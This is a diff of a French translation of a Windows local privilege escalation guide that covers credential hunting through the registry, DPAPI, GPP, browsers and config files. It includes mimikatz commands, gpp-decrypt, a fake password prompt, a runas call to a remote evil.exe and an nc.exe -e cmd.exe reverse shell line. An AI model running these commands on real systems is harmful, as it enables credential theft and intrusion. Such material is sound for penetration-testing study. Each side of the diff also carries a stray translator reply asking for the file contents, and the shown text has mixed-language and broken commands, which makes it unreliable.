+- Appliquer la vulnerable driver blocklist de Microsoft (HVCI/WDAC/Smart App Control) et maintenir vos propres listes allow/deny.
 
 
 ## PATH DLL Hijacking
 
-Si vous avez **des permissions d'écriture dans un dossier présent dans PATH** vous pourriez être capable de détourner une DLL chargée par un processus et **escalate privileges**.
+If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**.
 
-Vérifiez les permissions de tous les dossiers dans PATH:
+Check permissions of all folders inside PATH:
 ```bash
 for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
 ```
@@ -719,7 +719,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft
 ```
 ### Ports ouverts
 
-Vérifier la présence de **services restreints** depuis l'extérieur
+Vérifiez la présence de **services restreints** depuis l'extérieur
 ```bash
 netstat -ano #Opened ports?
 ```
@@ -728,25 +728,25 @@ netstat -ano #Opened ports?
 route print
 Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
 ```
-### Tableau ARP
+### Table ARP
 ```
 arp -A
 Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
 ```
-### Règles du pare-feu
+### Règles du Firewall
 
-[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(lister les règles, créer des règles, désactiver, désactiver...)**
+[**Consultez cette page pour les commandes liées au Firewall**](../basic-cmd-for-pentesters.md#firewall) **(lister les règles, créer des règles, désactiver, désactiver...)**
 
-Plus[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network)
+Plus de [commandes pour l'énumération réseau ici](../basic-cmd-for-pentesters.md#network)
 
 ### Windows Subsystem for Linux (wsl)
 ```bash
 C:\Windows\System32\bash.exe
 C:\Windows\System32\wsl.exe
 ```
-Le binaire `bash.exe` peut également être trouvé dans `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
+Le binaire `bash.exe` peut aussi être trouvé dans `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
 
-Si vous obtenez l'utilisateur root vous pouvez écouter sur n'importe quel port (la première fois que vous utilisez `nc.exe` pour écouter sur un port il demandera via GUI si `nc` doit être autorisé par le firewall).
+Si vous obtenez root user, vous pouvez écouter sur n'importe quel port (la première fois que vous utilisez `nc.exe` pour écouter sur un port, il vous demandera via GUI si `nc` doit être autorisé par le pare-feu).
 ```bash
 wsl whoami
 ./ubuntun1604.exe config --default-user root
@@ -771,16 +771,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
 ```
-### Gestionnaire d'identifiants / Windows vault
+### Gestionnaire d'identifiants / Windows Vault
 
-Extrait de [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\  
-Le Windows Vault stocke les identifiants utilisateur pour les serveurs, sites web et autres programmes que **Windows** peut **connecter automatiquement les utilisateurs**. Au premier abord, cela pourrait donner l'impression que les utilisateurs peuvent y stocker leurs identifiants Facebook, Twitter, Gmail, etc., afin de se connecter automatiquement via les navigateurs. Mais ce n'est pas le cas.
+Extrait de [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault]\
+Le Windows Vault stocke les identifiants utilisateur pour des serveurs, des sites web et d'autres programmes auxquels **Windows** peut connecter automatiquement les utilisateurs. À première vue, on pourrait penser que les utilisateurs peuvent y stocker leurs identifiants Facebook, Twitter, Gmail, etc., afin de se connecter automatiquement via les navigateurs. Mais ce n'est pas le cas.
 
-Windows Vault stocke des identifiants que Windows peut utiliser pour connecter automatiquement les utilisateurs, ce qui signifie que toute **application Windows qui nécessite des identifiants pour accéder à une ressource** (serveur ou site web) **peut faire appel à ce Credential Manager** & Windows Vault et utiliser les identifiants fournis au lieu que l'utilisateur saisisse le nom d'utilisateur et le mot de passe à chaque fois.
+Windows Vault stocke des identifiants que Windows peut utiliser pour connecter automatiquement les utilisateurs, ce qui signifie que toute **Windows application that needs credentials to access a resource** (serveur ou un site web) **can make use of this Credential Manager** & Windows Vault et utiliser les identifiants fournis au lieu que les utilisateurs saisissent sans cesse le nom d'utilisateur et le mot de passe.
 
-À moins que les applications n'interagissent avec le Credential Manager, je ne pense pas qu'il soit possible pour elles d'utiliser les identifiants pour une ressource donnée. Donc, si votre application veut utiliser le vault, elle doit d'une manière ou d'une autre **communiquer avec le credential manager et demander les identifiants pour cette ressource** depuis le coffre de stockage par défaut.
+À moins que les applications n'interagissent avec Credential Manager, je ne pense pas qu'il soit possible pour elles d'utiliser les identifiants pour une ressource donnée. Donc, si votre application veut exploiter le vault, elle doit d'une manière ou d'une autre **communicate with the credential manager and request the credentials for that resource** depuis le coffre de stockage par défaut.
 
-Utilisez `cmdkey` pour lister les identifiants stockés sur la machine.
+Utilisez la commande `cmdkey` pour lister les identifiants stockés sur la machine.
 ```bash
 cmdkey /list
 Currently stored credentials:
@@ -788,38 +788,38 @@ Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
 ```
-Vous pouvez alors utiliser `runas` avec l'option ` /savecred` pour utiliser les informations d'identification enregistrées. L'exemple suivant appelle un binaire distant via un partage SMB.
+Vous pouvez alors utiliser `runas` avec l'option `/savecred` afin d'utiliser les identifiants enregistrés. L'exemple suivant appelle un binaire distant via un partage SMB.
 ```bash
 runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
 ```
-Utilisation de `runas` avec un ensemble de credential fourni.
+Utiliser `runas` avec un jeu d'identifiants fourni.
 ```bash
 C:\Windows\System32\runas.exe /env /noprofile /user:  "c:\users\Public\nc.exe -nc  4444 -e cmd.exe"
 ```
-Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou depuis [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
+Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou via [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
 
 ### DPAPI
 
-La **Data Protection API (DPAPI)** fournit une méthode pour le chiffrement symétrique des données, principalement utilisée au sein du système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système qui contribue significativement à l'entropie.
+La Data Protection API (DPAPI) fournit une méthode de chiffrement symétrique des données, principalement utilisée dans le système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système qui contribue fortement à l'entropie.
 
-**DPAPI permet le chiffrement des clés via une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios d'encryption système, il utilise les secrets d'authentification de domaine du système.
+**DPAPI permet le chiffrement des clés via une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement au niveau système, elle utilise les secrets d'authentification de domaine du système.
 
-Les clés RSA utilisateur chiffrées, utilisant DPAPI, sont stockées dans le répertoire %APPDATA%\Microsoft\Protect\{SID}, où {SID} représente le [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **La clé DPAPI, colocée avec la clé principale qui protège les clés privées de l'utilisateur dans le même fichier**, se compose typiquement de 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant d'en lister le contenu via la commande dir dans CMD, bien qu'il puisse être listé via PowerShell).
+Les clés RSA utilisateur chiffrées via DPAPI sont stockées dans le répertoire %APPDATA%\Microsoft\Protect\{SID}, où {SID} représente le [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) de l'utilisateur. **La clé DPAPI, colocée avec la clé maître qui protège les clés privées de l'utilisateur dans le même fichier**, est généralement constituée de 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant la liste de son contenu via la commande `dir` dans CMD, bien qu'il puisse être listé via PowerShell).
 ```bash
 Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
 ```
 Vous pouvez utiliser le **mimikatz module** `dpapi::masterkey` avec les arguments appropriés (`/pvk` ou `/rpc`) pour le déchiffrer.
 
-Les **credentials files protected by the master password** se trouvent généralement dans :
+Les **fichiers d'identifiants protégés par le master password** sont généralement situés dans :
 ```bash
 dir C:\Users\username\AppData\Local\Microsoft\Credentials\
 dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
 Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 ```
-Vous pouvez utiliser **mimikatz module** `dpapi::cred` avec le `/masterkey` approprié pour déchiffrer.\
-Vous pouvez **extract many DPAPI** **masterkeys** from **memory** avec le module `sekurlsa::dpapi` (si vous êtes root).
+Vous pouvez utiliser le **mimikatz module** `dpapi::cred` avec le `/masterkey` approprié pour déchiffrer.\
+Vous pouvez **extraire de nombreux DPAPI masterkeys** depuis la **mémoire** avec le `sekurlsa::dpapi` module (si vous êtes root).
 
 
 {{#ref}}
@@ -828,9 +828,9 @@ dpapi-extracting-passwords.md
 
 ### PowerShell Credentials
 
-Les **PowerShell credentials** sont souvent utilisées pour des tâches de **scripting** et d'automatisation, afin de stocker des identifiants chiffrés de manière pratique. Les identifiants sont protégés par **DPAPI**, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés.
+**PowerShell credentials** sont souvent utilisés pour le **scripting** et les tâches d'automatisation comme moyen de stocker des credentials chiffrés de façon pratique. Les credentials sont protégés par **DPAPI**, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés.
 
-Pour **déchiffrer** des PS credentials à partir du fichier qui les contient, vous pouvez faire :
+Pour **déchiffrer** un PS credential à partir du fichier qui le contient, vous pouvez faire :
 ```bash
 PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
 PS C:\> $credential.GetNetworkCredential().username
@@ -852,30 +852,30 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^|
 ```
 ### Connexions RDP enregistrées
 
-Vous pouvez les trouver dans `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\
-et dans `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
+You can find them on `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\
+and in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
 
 ### Commandes récemment exécutées
 ```
 HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 ```
-### **Gestionnaire d'identifiants de Bureau à distance**
+### **Gestionnaire d'identifiants du Bureau à distance**
 ```
 %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
 ```
-Utilisez le module **Mimikatz** `dpapi::rdg` avec le `/masterkey` approprié pour **décrypter n'importe quels fichiers .rdg`\
-Vous pouvez **extraire de nombreux DPAPI masterkeys** de la mémoire avec le module Mimikatz `sekurlsa::dpapi`
+Utilisez le module **Mimikatz** `dpapi::rdg` avec le `/masterkey` approprié pour **décrypter n'importe quel fichier .rdg`\
+Vous pouvez **extraire de nombreux DPAPI masterkeys** de la mémoire avec le module Mimikatz `sekurlsa::dpapi` module
 
 ### Sticky Notes
 
-Les utilisateurs utilisent souvent l'application StickyNotes sur des postes de travail Windows pour **enregistrer des mots de passe** et d'autres informations, sans se rendre compte qu'il s'agit d'un fichier de base de données. Ce fichier se trouve à `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` et vaut toujours la peine d'être recherché et examiné.
+Les gens utilisent souvent l'application StickyNotes sur les postes de travail Windows pour **enregistrer des mots de passe** et d'autres informations, sans se rendre compte qu'il s'agit d'un fichier de base de données. Ce fichier est situé à `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` et mérite toujours d'être recherché et examiné.
 
 ### AppCmd.exe
 
-**Notez que pour récupérer des mots de passe depuis AppCmd.exe vous devez être Administrateur et l'exécuter sous un High Integrity level.**\
-**AppCmd.exe** se trouve dans le répertoire `%systemroot%\system32\inetsrv\`.\  
-Si ce fichier existe, il est possible que des **credentials** aient été configurés et puissent être **récupérés**.
+**Notez que pour récupérer des mots de passe depuis AppCmd.exe vous devez être Administrateur et exécuter à un niveau d'intégrité élevé.**\
+**AppCmd.exe** est situé dans le répertoire `%systemroot%\system32\inetsrv\`.\ 
+Si ce fichier existe, il est possible que certains **credentials** aient été configurés et puissent être **récupérés**.
 
 Ce code a été extrait de [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
 ```bash
@@ -957,14 +957,14 @@ $ErrorActionPreference = $OrigError
 ```
 ### SCClient / SCCM
 
-Vérifier si `C:\Windows\CCM\SCClient.exe` existe .\
-Les installateurs sont **exécutés avec les privilèges SYSTEM**, beaucoup sont vulnérables à **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
+Vérifiez si `C:\Windows\CCM\SCClient.exe` existe .\
+Les installateurs sont **exécutés avec SYSTEM privileges**, beaucoup sont vulnérables à **DLL Sideloading (Info provenant de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
 ```bash
 $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
 if ($result) { $result }
 else { Write "Not Installed." }
 ```
-## Fichiers et Registre (Identifiants)
+## Fichiers et Registre (Credentials)
 
 ### Putty Creds
 ```bash
@@ -974,23 +974,23 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_
 ```
 reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
 ```
-### SSH keys dans le registre
+### SSH keys in registry
 
-Des SSH private keys peuvent être stockées dans la clé de registre `HKCU\Software\OpenSSH\Agent\Keys`, vous devriez donc vérifier s'il y a quelque chose d'intéressant :
+SSH private keys peuvent être stockées dans la clé de registre `HKCU\Software\OpenSSH\Agent\Keys` ; vous devriez vérifier s'il y a quelque chose d'intéressant :
 ```bash
 reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 ```
-Si vous trouvez une entrée dans ce chemin, il s'agira probablement d'une clé SSH sauvegardée. Elle est stockée chiffrée mais peut être facilement déchiffrée en utilisant [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
+Si vous trouvez une entrée dans ce chemin, il s'agira probablement d'une clé SSH enregistrée. Elle est stockée chiffrée mais peut être facilement déchiffrée en utilisant [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
 Plus d'informations sur cette technique ici : [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 
-Si le service `ssh-agent` n'est pas en cours d'exécution et que vous souhaitez qu'il démarre automatiquement au démarrage, exécutez :
+Si le service `ssh-agent` ne fonctionne pas et que vous voulez qu'il démarre automatiquement au démarrage, exécutez :
 ```bash
 Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
 ```
 > [!TIP]
-> Il semble que cette technique ne soit plus valide. J'ai essayé de créer des ssh keys, de les ajouter avec `ssh-add` et de me connecter via ssh à une machine. La clé de registre HKCU\Software\OpenSSH\Agent\Keys n'existe pas et procmon n'a pas identifié l'utilisation de `dpapi.dll` pendant l'authentification par clé asymétrique.
-    
-### Fichiers non surveillés
+> Il semble que cette technique ne soit plus valide. J'ai essayé de créer des ssh keys, de les ajouter avec `ssh-add` et de me connecter via ssh à une machine. La clé de registre HKCU\Software\OpenSSH\Agent\Keys n'existe pas et procmon n'a pas identifié l'utilisation de `dpapi.dll` lors de l'authentification par clé asymétrique.
+ 
+### Fichiers unattended
 ```
 C:\Windows\sysprep\sysprep.xml
 C:\Windows\sysprep\sysprep.inf
@@ -1005,9 +1005,9 @@ C:\unattend.txt
 C:\unattend.inf
 dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
 ```
-Vous pouvez également rechercher ces fichiers en utilisant **metasploit**: _post/windows/gather/enum_unattend_
+Vous pouvez également rechercher ces fichiers en utilisant **metasploit** : _post/windows/gather/enum_unattend_
 
-Exemple de contenu:
+Exemple de contenu :
 ```xml
 
 
@@ -1048,15 +1048,15 @@ AppData\Roaming\gcloud\access_tokens.db
 ```
 ### McAfee SiteList.xml
 
-Recherchez un fichier appelé **SiteList.xml**
+Recherchez un fichier nommé **SiteList.xml**
 
 ### Mot de passe GPP mis en cache
 
-Une fonctionnalité permettait auparavant le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via Group Policy Preferences (GPP). Cependant, cette méthode présentait d'importantes failles de sécurité. Premièrement, les Group Policy Objects (GPOs), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être consultés par n'importe quel utilisateur du domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être décryptés par tout utilisateur authentifié. Cela constituait un risque sérieux, car cela pouvait permettre à des utilisateurs d'obtenir des privilèges élevés.
+Une fonctionnalité permettait auparavant le déploiement de comptes administrateur locaux personnalisés sur un groupe de machines via Group Policy Preferences (GPP). Cependant, cette méthode présentait d'importantes failles de sécurité. Premièrement, les Group Policy Objects (GPOs), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être consultés par n'importe quel utilisateur du domaine. Deuxièmement, les mots de passe contenus dans ces GPPs, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être décryptés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre à des utilisateurs d'obtenir des privilèges élevés.
 
-Pour atténuer ce risque, une fonction a été développée pour analyser les fichiers GPP mis en cache localement contenant un champ "cpassword" non vide. Lorsqu'elle trouve un tel fichier, la fonction décrypte le mot de passe et retourne un objet PowerShell personnalisé. Cet objet inclut des détails sur le GPP et l'emplacement du fichier, aidant à l'identification et à la correction de cette vulnérabilité de sécurité.
+Pour atténuer ce risque, une fonction a été développée pour scanner les fichiers GPP mis en cache localement contenant un champ "cpassword" non vide. Lorsqu'un tel fichier est trouvé, la fonction décrypte le mot de passe et retourne un objet PowerShell personnalisé. Cet objet inclut des informations sur le GPP et l'emplacement du fichier, facilitant l'identification et la correction de cette vulnérabilité de sécurité.
 
-Recherchez dans `C:\ProgramData\Microsoft\Group Policy\history` ou dans _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (avant W Vista)_ ces fichiers :
+Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (avant W Vista)_ for these files:
 
 - Groups.xml
 - Services.xml
@@ -1070,11 +1070,11 @@ Recherchez dans `C:\ProgramData\Microsoft\Group Policy\history` ou dans _**C:\Do
 #To decrypt these passwords you can decrypt it using
 gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
 ```
-Utiliser crackmapexec pour obtenir les passwords :
+Utiliser crackmapexec pour obtenir les mots de passe :
 ```bash
 crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
 ```
-### Configuration Web IIS
+### IIS Web Config
 ```bash
 Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 ```
@@ -1088,7 +1088,7 @@ C:\inetpub\wwwroot\web.config
 Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 ```
-Exemple de web.config avec credentials :
+Exemple de web.config avec des identifiants :
 ```xml
 
 
@@ -1098,7 +1098,7 @@ Exemple de web.config avec credentials :
 
 
 ```
-### OpenVPN identifiants
+### Identifiants OpenVPN
 ```csharp
 Add-Type -AssemblyName System.Security
 $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
@@ -1128,7 +1128,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
 ```
 ### Demander des credentials
 
-Vous pouvez toujours **demander à l'utilisateur de saisir ses credentials ou même les credentials d'un autre utilisateur** si vous pensez qu'il peut les connaître (notez que **demander** directement au client les **credentials** est vraiment **risqué**):
+Vous pouvez toujours **demander à l'utilisateur d'entrer ses credentials, voire les credentials d'un autre utilisateur** si vous pensez qu'il peut les connaître (notez que **demander** directement au client les **credentials** est vraiment **risqué**):
 ```bash
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1136,9 +1136,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U
 #Get plaintext
 $cred.GetNetworkCredential() | fl
 ```
-### **Noms de fichiers pouvant contenir des identifiants**
+### **Noms de fichiers possibles contenant des credentials**
 
-Fichiers connus qui, il y a quelque temps, contenaient des **mots de passe** en **texte en clair** ou en **Base64**
+Fichiers connus qui, il y a quelque temps, contenaient des **passwords** en **clear-text** ou en **Base64**
 ```bash
 $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
 vnc.ini, ultravnc.ini, *vnc*
@@ -1202,7 +1202,7 @@ TypedURLs       #IE
 %USERPROFILE%\ntuser.dat
 %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
 ```
-Je n'ai pas reçu le contenu du fichier src/windows-hardening/windows-local-privilege-escalation/README.md. Veuillez fournir le contenu à traduire ou préciser les fichiers à rechercher afin que je puisse effectuer la traduction en français.
+Je n’ai pas accès à ton système de fichiers ni au dépôt. Peux-tu coller ici le contenu de src/windows-hardening/windows-local-privilege-escalation/README.md (ou la liste/les fichiers à rechercher) ? Dès que tu fournis le texte, je le traduirai en français en respectant les consignes (conserver le code, noms de techniques, liens, tags et chemins inchangés, garder la syntaxe markdown/HTML).
 ```
 cd C:\
 dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
@@ -1213,9 +1213,9 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
 ```
 ### Identifiants dans la Corbeille
 
-Vous devriez également vérifier la Corbeille pour y rechercher des identifiants
+Vous devriez également vérifier la Corbeille pour rechercher des identifiants à l'intérieur
 
-Pour **récupérer des mots de passe** enregistrés par plusieurs programmes vous pouvez utiliser : [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
+Pour **récupérer les mots de passe** enregistrés par plusieurs programmes vous pouvez utiliser : [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
 
 ### Dans le registre
 
@@ -1230,10 +1230,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
 
 ### Historique des navigateurs
 
-Vous devriez vérifier les bases de données (dbs) où sont stockés les mots de passe de **Chrome or Firefox**.\
-Vérifiez aussi l'historique, les signets et les favoris des navigateurs, car certains **mots de passe** peuvent y être stockés.
+Vous devriez vérifier les dbs où sont stockés les mots de passe de **Chrome ou Firefox**.\
+Vérifiez aussi l'historique, les favoris et les marque-pages des navigateurs, car certains **mots de passe peuvent** y être stockés.
 
-Outils pour extraire les mots de passe des navigateurs :
+Tools to extract passwords from browsers:
 
 - Mimikatz: `dpapi::chrome`
 - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)
@@ -1242,38 +1242,38 @@ Outils pour extraire les mots de passe des navigateurs :
 
 ### **COM DLL Overwriting**
 
-**Component Object Model (COM)** est une technologie intégrée au système d'exploitation Windows qui permet l'**intercommunication** entre composants logiciels écrits dans différents langages. Chaque composant COM est **identifié via un class ID (CLSID)** et expose des fonctionnalités via une ou plusieurs interfaces, identifiées via des interface IDs (IIDs).
+**Component Object Model (COM)** est une technologie intégrée au système d'exploitation Windows qui permet l'intercommunication entre des composants logiciels écrits dans différents langages. Chaque composant COM est **identifié via un class ID (CLSID)** et chaque composant expose des fonctionnalités via une ou plusieurs interfaces, identifiées via des interface IDs (IIDs).
 
 Les classes et interfaces COM sont définies dans le registre sous **HKEY\CLASSES\ROOT\CLSID** et **HKEY\CLASSES\ROOT\Interface** respectivement. Ce registre est créé en fusionnant **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.**
 
-À l'intérieur des CLSID de ce registre, vous pouvez trouver la clé enfant **InProcServer32** qui contient une **valeur par défaut** pointant vers une **DLL** et une valeur appelée **ThreadingModel** qui peut être **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral).
+Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral).
 
 ![](<../../images/image (729).png>)
 
-En pratique, si vous pouvez **overwrite any of the DLLs** qui vont être exécutées, vous pourriez **escalate privileges** si cette DLL est exécutée par un autre utilisateur.
+En pratique, si vous pouvez **écraser n'importe quelle DLL** qui va être exécutée, vous pourriez **escalader les privilèges** si cette DLL est lancée par un autre utilisateur.
 
-Pour savoir comment les attaquants utilisent le COM Hijacking comme mécanisme de persistence, consultez :
+To learn how attackers use COM Hijacking as a persistence mechanism check:
 
 
 {{#ref}}
 com-hijacking.md
 {{#endref}}
 
-### **Generic Password search in files and registry**
+### **Recherche générique de mots de passe dans les fichiers et le registre**
 
-**Rechercher le contenu des fichiers**
+**Recherche du contenu des fichiers**
 ```bash
 cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
 findstr /si password *.xml *.ini *.txt *.config
 findstr /spin "password" *.*
 ```
-**Rechercher un fichier avec un nom de fichier spécifique**
+**Rechercher un fichier avec un certain nom de fichier**
 ```bash
 dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
 where /R C:\ user.txt
 where /R C:\ *.ini
 ```
-**Rechercher dans le registry des key names et des passwords**
+**Rechercher dans le registre des noms de clés et des mots de passe**
 ```bash
 REG QUERY HKLM /F "password" /t REG_SZ /S /K
 REG QUERY HKCU /F "password" /t REG_SZ /S /K
@@ -1282,11 +1282,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
 ```
 ### Outils qui recherchent des passwords
 
-[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **est un plugin msf** que j'ai créé pour **exécuter automatiquement chaque module POST de metasploit qui recherche des credentials** sur la victime.\
-[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) recherche automatiquement tous les fichiers contenant des passwords mentionnés dans cette page.\
+[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin que j'ai créé ; ce plugin permet de **automatically execute every metasploit POST module that searches for credentials** sur la victime.\
+[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) recherche automatiquement tous les fichiers contenant des passwords mentionnés sur cette page.\
 [**Lazagne**](https://github.com/AlessandroZ/LaZagne) est un autre excellent outil pour extraire des passwords d'un système.
 
-L'outil [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) recherche des **sessions**, des **usernames** et des **passwords** de plusieurs outils qui enregistrent ces données en clair (PuTTY, WinSCP, FileZilla, SuperPuTTY, et RDP)
+L'outil [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) recherche **sessions**, **usernames** et **passwords** de plusieurs outils qui enregistrent ces données en clair (PuTTY, WinSCP, FileZilla, SuperPuTTY et RDP)
 ```bash
 Import-Module path\to\SessionGopher.ps1;
